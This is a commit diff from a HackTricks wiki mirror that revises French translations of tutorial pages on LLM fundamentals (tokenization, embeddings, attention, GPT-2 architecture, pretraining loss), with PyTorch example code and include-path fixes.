mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
Translator
parent
28dcd94a3c
commit
c351234b62
@ -1,6 +1,6 @@
|
||||
# 0. Concepts de base des LLM
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Préentraînement
|
||||
|
||||
@ -11,11 +11,11 @@ Le préentraînement est la phase fondamentale dans le développement d'un modè
|
||||
Généralement, un LLM est caractérisé par la configuration utilisée pour l'entraîner. Voici les composants courants lors de l'entraînement d'un LLM :
|
||||
|
||||
- **Paramètres** : Les paramètres sont les **poids et biais apprenables** dans le réseau de neurones. Ce sont les nombres que le processus d'entraînement ajuste pour minimiser la fonction de perte et améliorer la performance du modèle sur la tâche. Les LLM utilisent généralement des millions de paramètres.
|
||||
- **Longueur de contexte** : C'est la longueur maximale de chaque phrase utilisée pour pré-entraîner le LLM.
|
||||
- **Dimension d'embedding** : La taille du vecteur utilisé pour représenter chaque token ou mot. Les LLM utilisent généralement des milliards de dimensions.
|
||||
- **Longueur du contexte** : C'est la longueur maximale de chaque phrase utilisée pour pré-entraîner le LLM.
|
||||
- **Dimension d'embedding** : La taille du vecteur utilisé pour représenter chaque jeton ou mot. Les LLM utilisent généralement des milliards de dimensions.
|
||||
- **Dimension cachée** : La taille des couches cachées dans le réseau de neurones.
|
||||
- **Nombre de couches (profondeur)** : Combien de couches le modèle a. Les LLM utilisent généralement des dizaines de couches.
|
||||
- **Nombre de têtes d'attention** : Dans les modèles de transformateur, c'est combien de mécanismes d'attention séparés sont utilisés dans chaque couche. Les LLM utilisent généralement des dizaines de têtes.
|
||||
- **Nombre de têtes d'attention** : Dans les modèles de transformateurs, c'est combien de mécanismes d'attention séparés sont utilisés dans chaque couche. Les LLM utilisent généralement des dizaines de têtes.
|
||||
- **Dropout** : Le dropout est quelque chose comme le pourcentage de données qui est supprimé (les probabilités passent à 0) pendant l'entraînement utilisé pour **prévenir le surapprentissage.** Les LLM utilisent généralement entre 0-20%.
|
||||
|
||||
Configuration du modèle GPT-2 :
|
||||
@ -127,7 +127,7 @@ Les tenseurs sont essentiels dans PyTorch pour construire et entraîner des rés
|
||||
|
||||
## Différentiation Automatique
|
||||
|
||||
La différentiation automatique (AD) est une technique computationnelle utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **des algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus.
|
||||
La différentiation automatique (AD) est une technique de calcul utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **des algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus.
|
||||
|
||||
### Explication Mathématique de la Différentiation Automatique
|
||||
|
||||
@ -268,11 +268,11 @@ print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
Dans ce code :
|
||||
|
||||
- **Passage avant :** Calcule les sorties du réseau.
|
||||
- **Passage arrière :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres.
|
||||
- **Mise à jour des paramètres :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés.
|
||||
- **Passage Avant :** Calcule les sorties du réseau.
|
||||
- **Passage Arrière :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres.
|
||||
- **Mise à Jour des Paramètres :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés.
|
||||
|
||||
### **5. Comprendre le passage arrière**
|
||||
### **5. Comprendre le Passage Arrière**
|
||||
|
||||
Lors du passage arrière :
|
||||
|
||||
@ -280,10 +280,10 @@ Lors du passage arrière :
|
||||
- Pour chaque opération, il applique la règle de la chaîne pour calculer les gradients.
|
||||
- Les gradients sont accumulés dans l'attribut `.grad` de chaque tenseur de paramètre.
|
||||
|
||||
### **6. Avantages de la différentiation automatique**
|
||||
### **6. Avantages de la Différentiation Automatique**
|
||||
|
||||
- **Efficacité :** Évite les calculs redondants en réutilisant les résultats intermédiaires.
|
||||
- **Précision :** Fournit des dérivées exactes jusqu'à la précision machine.
|
||||
- **Facilité d'utilisation :** Élimine le calcul manuel des dérivées.
|
||||
- **Facilité d'Utilisation :** Élimine le calcul manuel des dérivées.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,41 +1,41 @@
|
||||
# 1. Tokenisation
|
||||
# 1. Tokenization
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenisation
|
||||
## Tokenization
|
||||
|
||||
**Tokenisation** est le processus de décomposition des données, telles que le texte, en morceaux plus petits et gérables appelés _tokens_. Chaque token se voit ensuite attribuer un identifiant numérique unique (ID). C'est une étape fondamentale dans la préparation du texte pour le traitement par des modèles d'apprentissage automatique, en particulier dans le traitement du langage naturel (NLP).
|
||||
**Tokenization** est le processus de décomposition des données, telles que le texte, en morceaux plus petits et gérables appelés _tokens_. Chaque token se voit ensuite attribuer un identifiant numérique unique (ID). C'est une étape fondamentale dans la préparation du texte pour le traitement par des modèles d'apprentissage automatique, en particulier dans le traitement du langage naturel (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> L'objectif de cette phase initiale est très simple : **Diviser l'entrée en tokens (ids) d'une manière qui a du sens**.
|
||||
|
||||
### **Comment fonctionne la tokenisation**
|
||||
### **Comment fonctionne la Tokenization**
|
||||
|
||||
1. **Division du texte :**
|
||||
- **Tokeniseur de base :** Un tokeniseur simple pourrait diviser le texte en mots individuels et en signes de ponctuation, en supprimant les espaces.
|
||||
1. **Division du Texte :**
|
||||
- **Tokeniseur de Base :** Un tokeniseur simple pourrait diviser le texte en mots individuels et en signes de ponctuation, en supprimant les espaces.
|
||||
- _Exemple :_\
|
||||
Texte : `"Bonjour, le monde!"`\
|
||||
Tokens : `["Bonjour", ",", "le", "monde", "!"]`
|
||||
2. **Création d'un vocabulaire :**
|
||||
- Pour convertir les tokens en IDs numériques, un **vocabulaire** est créé. Ce vocabulaire répertorie tous les tokens uniques (mots et symboles) et attribue à chacun un ID spécifique.
|
||||
- **Tokens spéciaux :** Ce sont des symboles spéciaux ajoutés au vocabulaire pour gérer divers scénarios :
|
||||
- `[BOS]` (Début de la séquence) : Indique le début d'un texte.
|
||||
- `[EOS]` (Fin de la séquence) : Indique la fin d'un texte.
|
||||
Texte : `"Hello, world!"`\
|
||||
Tokens : `["Hello", ",", "world", "!"]`
|
||||
2. **Création d'un Vocabulaire :**
|
||||
- Pour convertir les tokens en IDs numériques, un **vocabulaire** est créé. Ce vocabulaire liste tous les tokens uniques (mots et symboles) et attribue à chacun un ID spécifique.
|
||||
- **Tokens Spéciaux :** Ce sont des symboles spéciaux ajoutés au vocabulaire pour gérer divers scénarios :
|
||||
- `[BOS]` (Début de Séquence) : Indique le début d'un texte.
|
||||
- `[EOS]` (Fin de Séquence) : Indique la fin d'un texte.
|
||||
- `[PAD]` (Remplissage) : Utilisé pour rendre toutes les séquences d'un lot de la même longueur.
|
||||
- `[UNK]` (Inconnu) : Représente des tokens qui ne sont pas dans le vocabulaire.
|
||||
- _Exemple :_\
|
||||
Si `"Bonjour"` est attribué à l'ID `64`, `","` est `455`, `"le"` est `78`, et `"monde"` est `467`, alors :\
|
||||
`"Bonjour, le monde!"` → `[64, 455, 78, 467]`
|
||||
- **Gestion des mots inconnus :**\
|
||||
Si un mot comme `"Au revoir"` n'est pas dans le vocabulaire, il est remplacé par `[UNK]`.\
|
||||
`"Au revoir, le monde!"` → `["[UNK]", ",", "le", "monde", "!"]` → `[987, 455, 78, 467]`\
|
||||
Si `"Hello"` est attribué à l'ID `64`, `","` est `455`, `"world"` est `78`, et `"!"` est `467`, alors :\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Gestion des Mots Inconnus :**\
|
||||
Si un mot comme `"Bye"` n'est pas dans le vocabulaire, il est remplacé par `[UNK]`.\
|
||||
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(En supposant que `[UNK]` a l'ID `987`)_
|
||||
|
||||
### **Méthodes de tokenisation avancées**
|
||||
### **Méthodes Avancées de Tokenization**
|
||||
|
||||
Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des limitations, en particulier avec de grands vocabulaires et la gestion de nouveaux mots ou de mots rares. Les méthodes de tokenisation avancées abordent ces problèmes en décomposant le texte en sous-unités plus petites ou en optimisant le processus de tokenisation.
|
||||
Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des limitations, en particulier avec de grands vocabulaires et la gestion de nouveaux mots ou de mots rares. Les méthodes avancées de tokenization abordent ces problèmes en décomposant le texte en sous-unités plus petites ou en optimisant le processus de tokenization.
|
||||
|
||||
1. **Encodage par paires de bytes (BPE) :**
|
||||
1. **Encodage par Paires de Bytes (BPE) :**
|
||||
- **Objectif :** Réduit la taille du vocabulaire et gère les mots rares ou inconnus en les décomposant en paires de bytes fréquemment rencontrées.
|
||||
- **Comment ça fonctionne :**
|
||||
- Commence avec des caractères individuels comme tokens.
|
||||
@ -45,10 +45,10 @@ Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des
|
||||
- Élimine le besoin d'un token `[UNK]` puisque tous les mots peuvent être représentés en combinant des tokens de sous-mots existants.
|
||||
- Vocabulaire plus efficace et flexible.
|
||||
- _Exemple :_\
|
||||
`"jouant"` pourrait être tokenisé en `["joue", "ant"]` si `"joue"` et `"ant"` sont des sous-mots fréquents.
|
||||
`"playing"` pourrait être tokenisé comme `["play", "ing"]` si `"play"` et `"ing"` sont des sous-mots fréquents.
|
||||
2. **WordPiece :**
|
||||
- **Utilisé par :** Modèles comme BERT.
|
||||
- **Objectif :** Semblable au BPE, il décompose les mots en unités de sous-mots pour gérer les mots inconnus et réduire la taille du vocabulaire.
|
||||
- **Objectif :** Semblable à BPE, il décompose les mots en unités de sous-mots pour gérer les mots inconnus et réduire la taille du vocabulaire.
|
||||
- **Comment ça fonctionne :**
|
||||
- Commence avec un vocabulaire de base de caractères individuels.
|
||||
- Ajoute de manière itérative le sous-mot le plus fréquent qui maximise la probabilité des données d'entraînement.
|
||||
@ -57,8 +57,8 @@ Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des
|
||||
- Équilibre entre avoir une taille de vocabulaire gérable et représenter efficacement les mots.
|
||||
- Gère efficacement les mots rares et composés.
|
||||
- _Exemple :_\
|
||||
`"malheur"` pourrait être tokenisé en `["mal", "heur"]` ou `["mal", "heure", "ur"]` selon le vocabulaire.
|
||||
3. **Modèle de langue Unigram :**
|
||||
`"unhappiness"` pourrait être tokenisé comme `["un", "happiness"]` ou `["un", "happy", "ness"]` selon le vocabulaire.
|
||||
3. **Modèle de Langage Unigram :**
|
||||
- **Utilisé par :** Modèles comme SentencePiece.
|
||||
- **Objectif :** Utilise un modèle probabiliste pour déterminer l'ensemble de tokens de sous-mots le plus probable.
|
||||
- **Comment ça fonctionne :**
|
||||
@ -69,9 +69,9 @@ Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des
|
||||
- Flexible et peut modéliser la langue de manière plus naturelle.
|
||||
- Résulte souvent en tokenisations plus efficaces et compactes.
|
||||
- _Exemple :_\
|
||||
`"internationalisation"` pourrait être tokenisé en sous-mots plus petits et significatifs comme `["international", "isation"]`.
|
||||
`"internationalization"` pourrait être tokenisé en sous-mots plus petits et significatifs comme `["international", "ization"]`.
|
||||
|
||||
## Exemple de code
|
||||
## Exemple de Code
|
||||
|
||||
Comprenons cela mieux à partir d'un exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
@ -97,4 +97,4 @@ print(token_ids[:50])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# 2. Échantillonnage de Données
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Échantillonnage de Données**
|
||||
|
||||
**L'échantillonnage de données** est un processus crucial dans la préparation des données pour l'entraînement de grands modèles de langage (LLMs) comme GPT. Il implique l'organisation des données textuelles en séquences d'entrée et de cible que le modèle utilise pour apprendre à prédire le mot suivant (ou token) en fonction des mots précédents. Un échantillonnage de données approprié garantit que le modèle capture efficacement les motifs et les dépendances linguistiques.
|
||||
**L'échantillonnage de données** est un processus crucial dans la préparation des données pour l'entraînement de modèles de langage de grande taille (LLMs) comme GPT. Il implique l'organisation des données textuelles en séquences d'entrée et de cible que le modèle utilise pour apprendre à prédire le mot suivant (ou le token) en fonction des mots précédents. Un échantillonnage de données approprié garantit que le modèle capture efficacement les motifs et les dépendances linguistiques.
|
||||
|
||||
> [!TIP]
|
||||
> L'objectif de cette deuxième phase est très simple : **Échantillonner les données d'entrée et les préparer pour la phase d'entraînement, généralement en séparant l'ensemble de données en phrases d'une longueur spécifique et en générant également la réponse attendue.**
|
||||
@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
@ -14,21 +14,21 @@ Après avoir tokenisé les données textuelles, l'étape suivante cruciale dans
|
||||
|
||||
### **What Are Token Embeddings?**
|
||||
|
||||
**Token Embeddings** sont des représentations numériques de tokens dans un espace vectoriel continu. Chaque token du vocabulaire est associé à un vecteur unique de dimensions fixes. Ces vecteurs capturent des informations sémantiques et syntaxiques sur les tokens, permettant au modèle de comprendre les relations et les motifs dans les données.
|
||||
**Token Embeddings** sont des représentations numériques de tokens dans un espace vectoriel continu. Chaque token dans le vocabulaire est associé à un vecteur unique de dimensions fixes. Ces vecteurs capturent des informations sémantiques et syntaxiques sur les tokens, permettant au modèle de comprendre les relations et les motifs dans les données.
|
||||
|
||||
- **Taille du Vocabulaire :** Le nombre total de tokens uniques (par exemple, mots, sous-mots) dans le vocabulaire du modèle.
|
||||
- **Dimensions de l'Embedding :** Le nombre de valeurs numériques (dimensions) dans le vecteur de chaque token. Des dimensions plus élevées peuvent capturer des informations plus nuancées mais nécessitent plus de ressources informatiques.
|
||||
- **Vocabulary Size :** Le nombre total de tokens uniques (par exemple, mots, sous-mots) dans le vocabulaire du modèle.
|
||||
- **Embedding Dimensions :** Le nombre de valeurs numériques (dimensions) dans le vecteur de chaque token. Des dimensions plus élevées peuvent capturer des informations plus nuancées mais nécessitent plus de ressources informatiques.
|
||||
|
||||
**Exemple :**
|
||||
**Example :**
|
||||
|
||||
- **Taille du Vocabulaire :** 6 tokens \[1, 2, 3, 4, 5, 6]
|
||||
- **Dimensions de l'Embedding :** 3 (x, y, z)
|
||||
- **Vocabulary Size :** 6 tokens \[1, 2, 3, 4, 5, 6]
|
||||
- **Embedding Dimensions :** 3 (x, y, z)
|
||||
|
||||
### **Initializing Token Embeddings**
|
||||
|
||||
Au début de l'entraînement, les token embeddings sont généralement initialisés avec de petites valeurs aléatoires. Ces valeurs initiales sont ajustées (affinées) pendant l'entraînement pour mieux représenter les significations des tokens en fonction des données d'entraînement.
|
||||
|
||||
**PyTorch Example:**
|
||||
**PyTorch Example :**
|
||||
```python
|
||||
import torch
|
||||
|
||||
@ -74,7 +74,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
|
||||
### **Comment les embeddings de tokens fonctionnent pendant l'entraînement**
|
||||
|
||||
Pendant l'entraînement, chaque token dans les données d'entrée est converti en son vecteur d'embedding correspondant. Ces vecteurs sont ensuite utilisés dans divers calculs au sein du modèle, tels que les mécanismes d'attention et les couches de réseaux de neurones.
|
||||
Pendant l'entraînement, chaque token dans les données d'entrée est converti en son vecteur d'embedding correspondant. Ces vecteurs sont ensuite utilisés dans divers calculs au sein du modèle, tels que les mécanismes d'attention et les couches de réseaux neuronaux.
|
||||
|
||||
**Scénario d'exemple :**
|
||||
|
||||
@ -145,8 +145,8 @@ Alors que les embeddings de tokens capturent le sens des tokens individuels, ils
|
||||
|
||||
### **Comment les Embeddings Positionnels Sont Intégrés :**
|
||||
|
||||
- **Mêmes Dimensions :** Les embeddings positionnels ont la même dimensionalité que les embeddings de tokens.
|
||||
- **Addition :** Ils sont ajoutés aux embeddings de tokens, combinant l'identité du token avec l'information positionnelle sans augmenter la dimensionalité globale.
|
||||
- **Mêmes Dimensions :** Les embeddings positionnels ont la même dimensionnalité que les embeddings de tokens.
|
||||
- **Addition :** Ils sont ajoutés aux embeddings de tokens, combinant l'identité du token avec l'information positionnelle sans augmenter la dimensionnalité globale.
|
||||
|
||||
**Exemple d'Ajout d'Embeddings Positionnels :**
|
||||
|
||||
@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# 4. Mécanismes d'Attention
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mécanismes d'Attention et Auto-Attention dans les Réseaux de Neurones
|
||||
|
||||
@ -30,7 +30,7 @@ L'auto-attention, ou intra-attention, est un mécanisme où l'attention est appl
|
||||
|
||||
### Calcul des Poids d'Attention : Un Exemple Étape par Étape
|
||||
|
||||
Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot avec un embedding de 3 dimensions :
|
||||
Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot avec un embedding en 3 dimensions :
|
||||
|
||||
- **Hello** : `[0.34, 0.22, 0.54]`
|
||||
- **shiny** : `[0.53, 0.34, 0.98]`
|
||||
@ -250,7 +250,7 @@ masked_scores = attention_scores + mask
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Masquage des Poids d'Attention Supplémentaires avec Dropout
|
||||
### Masquage de Poids d'Attention Supplémentaires avec Dropout
|
||||
|
||||
Pour **prévenir le surapprentissage**, nous pouvons appliquer **dropout** aux poids d'attention après l'opération softmax. Le dropout **met aléatoirement à zéro certains des poids d'attention** pendant l'entraînement.
|
||||
```python
|
||||
@ -261,7 +261,7 @@ Un abandon régulier est d'environ 10-20%.
|
||||
|
||||
### Exemple de code
|
||||
|
||||
Exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
|
||||
Exemple de code provenant de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
@ -325,7 +325,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Étendre l'attention à tête unique à l'attention à plusieurs têtes
|
||||
|
||||
**L'attention à plusieurs têtes** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'attention personnelle, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés.
|
||||
**L'attention à plusieurs têtes** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'auto-attention, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés.
|
||||
|
||||
### Exemple de code
|
||||
|
||||
@ -418,4 +418,4 @@ Pour une autre implémentation compacte et efficace, vous pourriez utiliser la c
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# 5. Architecture LLM
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Architecture LLM
|
||||
|
||||
@ -210,7 +210,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Objectif et Fonctionnalité**
|
||||
#### **But et Fonctionnalité**
|
||||
|
||||
- **GELU (Unité Linéaire d'Erreur Gaussienne) :** Une fonction d'activation qui introduit de la non-linéarité dans le modèle.
|
||||
- **Activation Douce :** Contrairement à ReLU, qui annule les entrées négatives, GELU mappe en douceur les entrées aux sorties, permettant des valeurs petites et non nulles pour les entrées négatives.
|
||||
@ -252,7 +252,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
- **Deuxième Couche Linéaire :** Réduit la dimensionnalité à nouveau à `emb_dim`.
|
||||
|
||||
> [!TIP]
|
||||
> Comme vous pouvez le voir, le réseau Feed Forward utilise 3 couches. La première est une couche linéaire qui multipliera les dimensions par 4 en utilisant des poids linéaires (paramètres à entraîner dans le modèle). Ensuite, la fonction GELU est utilisée dans toutes ces dimensions pour appliquer des variations non linéaires afin de capturer des représentations plus riches et enfin une autre couche linéaire est utilisée pour revenir à la taille originale des dimensions.
|
||||
> Comme vous pouvez le voir, le réseau Feed Forward utilise 3 couches. La première est une couche linéaire qui multipliera les dimensions par 4 en utilisant des poids linéaires (paramètres à entraîner à l'intérieur du modèle). Ensuite, la fonction GELU est utilisée dans toutes ces dimensions pour appliquer des variations non linéaires afin de capturer des représentations plus riches et enfin une autre couche linéaire est utilisée pour revenir à la taille originale des dimensions.
|
||||
|
||||
### **Mécanisme d'Attention Multi-Tête**
|
||||
|
||||
@ -265,7 +265,7 @@ Cela a déjà été expliqué dans une section précédente.
|
||||
- **Requêtes, Clés, Valeurs :** Projections linéaires de l'entrée, utilisées pour calculer les scores d'attention.
|
||||
- **Têtes :** Plusieurs mécanismes d'attention fonctionnant en parallèle (`num_heads`), chacun avec une dimension réduite (`head_dim`).
|
||||
- **Scores d'Attention :** Calculés comme le produit scalaire des requêtes et des clés, mis à l'échelle et masqués.
|
||||
- **Masquage :** Un masque causal est appliqué pour empêcher le modèle de prêter attention aux tokens futurs (important pour les modèles autorégressifs comme GPT).
|
||||
- **Masquage :** Un masque causal est appliqué pour empêcher le modèle d'attendre des tokens futurs (important pour les modèles autorégressifs comme GPT).
|
||||
- **Poids d'Attention :** Softmax des scores d'attention masqués et mis à l'échelle.
|
||||
- **Vecteur de Contexte :** Somme pondérée des valeurs, selon les poids d'attention.
|
||||
- **Projection de Sortie :** Couche linéaire pour combiner les sorties de toutes les têtes.
|
||||
@ -296,7 +296,7 @@ return self.scale * norm_x + self.shift
|
||||
- **Normalisation de Couche :** Une technique utilisée pour normaliser les entrées à travers les caractéristiques (dimensions d'embedding) pour chaque exemple individuel dans un lot.
|
||||
- **Composants :**
|
||||
- **`eps` :** Une petite constante (`1e-5`) ajoutée à la variance pour éviter la division par zéro lors de la normalisation.
|
||||
- **`scale` et `shift` :** Paramètres apprenables (`nn.Parameter`) qui permettent au modèle de mettre à l'échelle et de décaler la sortie normalisée. Ils sont initialisés respectivement à un et zéro.
|
||||
- **`scale` et `shift` :** Paramètres apprenables (`nn.Parameter`) qui permettent au modèle de mettre à l'échelle et de décaler la sortie normalisée. Ils sont initialisés à un et zéro, respectivement.
|
||||
- **Processus de Normalisation :**
|
||||
- **Calculer la Moyenne (`mean`) :** Calcule la moyenne de l'entrée `x` à travers la dimension d'embedding (`dim=-1`), en gardant la dimension pour le broadcasting (`keepdim=True`).
|
||||
- **Calculer la Variance (`var`) :** Calcule la variance de `x` à travers la dimension d'embedding, en gardant également la dimension. Le paramètre `unbiased=False` garantit que la variance est calculée en utilisant l'estimateur biaisé (division par `N` au lieu de `N-1`), ce qui est approprié lors de la normalisation sur les caractéristiques plutôt que sur les échantillons.
|
||||
@ -585,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Couche de projection de sortie (`out_head`)**
|
||||
**b. Couche de Projection de Sortie (`out_head`)**
|
||||
|
||||
- **Couche :** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
- **Paramètres :** `emb_dim * vocab_size`
|
||||
@ -610,7 +610,7 @@ total_params = 163,009,536
|
||||
```
|
||||
## Générer du texte
|
||||
|
||||
Avoir un modèle qui prédit le prochain token comme le précédent, il suffit de prendre les valeurs du dernier token de la sortie (car ce seront celles du token prédit), ce qui sera un **valeur par entrée dans le vocabulaire** et ensuite utiliser la fonction `softmax` pour normaliser les dimensions en probabilités qui s'additionnent à 1 et ensuite obtenir l'index de la plus grande entrée, qui sera l'index du mot dans le vocabulaire.
|
||||
Avoir un modèle qui prédit le prochain token comme le précédent, il suffit de prendre les valeurs du dernier token de la sortie (car ce seront celles du token prédit), ce qui sera une **valeur par entrée dans le vocabulaire** et ensuite utiliser la fonction `softmax` pour normaliser les dimensions en probabilités qui s'additionnent à 1 et ensuite obtenir l'index de la plus grande entrée, qui sera l'index du mot dans le vocabulaire.
|
||||
|
||||
Code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# 6. Pré-entraînement et chargement des modèles
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Génération de texte
|
||||
|
||||
@ -18,9 +18,9 @@ Pour effectuer un entraînement correct, il est nécessaire de mesurer les préd
|
||||
Pour maximiser la probabilité du token correct, les poids du modèle doivent être modifiés afin que cette probabilité soit maximisée. Les mises à jour des poids se font via **backpropagation**. Cela nécessite une **fonction de perte à maximiser**. Dans ce cas, la fonction sera la **différence entre la prédiction effectuée et celle désirée**.
|
||||
|
||||
Cependant, au lieu de travailler avec les prédictions brutes, il travaillera avec un logarithme de base n. Ainsi, si la prédiction actuelle du token attendu était 7.4541e-05, le logarithme naturel (base *e*) de **7.4541e-05** est d'environ **-9.5042**.\
|
||||
Ensuite, pour chaque entrée avec une longueur de contexte de 5 tokens par exemple, le modèle devra prédire 5 tokens, les 4 premiers tokens étant les derniers de l'entrée et le cinquième étant celui prédit. Par conséquent, pour chaque entrée, nous aurons 5 prédictions dans ce cas (même si les 4 premiers étaient dans l'entrée, le modèle ne le sait pas) avec 5 tokens attendus et donc 5 probabilités à maximiser.
|
||||
Ensuite, pour chaque entrée avec une longueur de contexte de 5 tokens par exemple, le modèle devra prédire 5 tokens, les 4 premiers tokens étant le dernier de l'entrée et le cinquième étant celui prédit. Par conséquent, pour chaque entrée, nous aurons 5 prédictions dans ce cas (même si les 4 premiers étaient dans l'entrée, le modèle ne le sait pas) avec 5 tokens attendus et donc 5 probabilités à maximiser.
|
||||
|
||||
Par conséquent, après avoir effectué le logarithme naturel pour chaque prédiction, la **moyenne** est calculée, le **symbole moins retiré** (c'est ce qu'on appelle _cross entropy loss_) et c'est le **nombre à réduire aussi près de 0 que possible** car le logarithme naturel de 1 est 0 :
|
||||
Par conséquent, après avoir effectué le logarithme naturel sur chaque prédiction, la **moyenne** est calculée, le **symbole moins retiré** (c'est ce qu'on appelle _cross entropy loss_) et c'est le **nombre à réduire aussi près de 0 que possible** car le logarithme naturel de 1 est 0 :
|
||||
|
||||
